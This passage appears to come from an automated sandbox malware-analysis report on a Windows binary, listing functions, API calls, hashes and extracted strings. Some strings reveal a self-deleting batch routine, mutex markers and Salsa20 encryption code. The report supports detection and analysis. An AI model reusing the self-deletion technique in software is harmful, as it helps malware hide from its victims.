Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: e228db8f2929126c3b1913005bb93d35ef70577a56d5a0348c895a46b4dbfa9c
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: e228db8f2929126c3b1913005bb93d35ef70577a56d5a0348c895a46b4dbfa9c
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: e14d4706ebd2937f549925ab355345f0cc1dac9e10c7ad741e7fc5df18ade2da
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: e14d4706ebd2937f549925ab355345f0cc1dac9e10c7ad741e7fc5df18ade2da
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: f435e59981ddbbd5e7f20df7de0e78d9e90dcc99dfbaf1614d1af27faf295db4
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: f435e59981ddbbd5e7f20df7de0e78d9e90dcc99dfbaf1614d1af27faf295db4
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00412840 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000008,?,00000000,00000000,?), ref: 004128AA

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_memset
String ID:
API String ID: 2800726579-0
Opcode ID: d4d73a905109635d96d8aebbdb5dfa8ea2b69a17998497c46c9ebcbc2b444938
Instruction ID: 77d5c0c78108e6bd7b696174a76f34ed3b4c8b07ae2fa23de187fb57fd92ed49
Opcode Fuzzy Hash: d4d73a905109635d96d8aebbdb5dfa8ea2b69a17998497c46c9ebcbc2b444938
Instruction Fuzzy Hash: 9B11D371A00219BBDB11DF59CD41BDFBBA8EF01714F10422AF914A72C0C7BD99558BDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
@echo off:trydel ", xrefs: 0041262A
del ", xrefs: 00412674
TEMP, xrefs: 004125DF
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
"if exist ", xrefs: 00412648
D, xrefs: 00412720

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

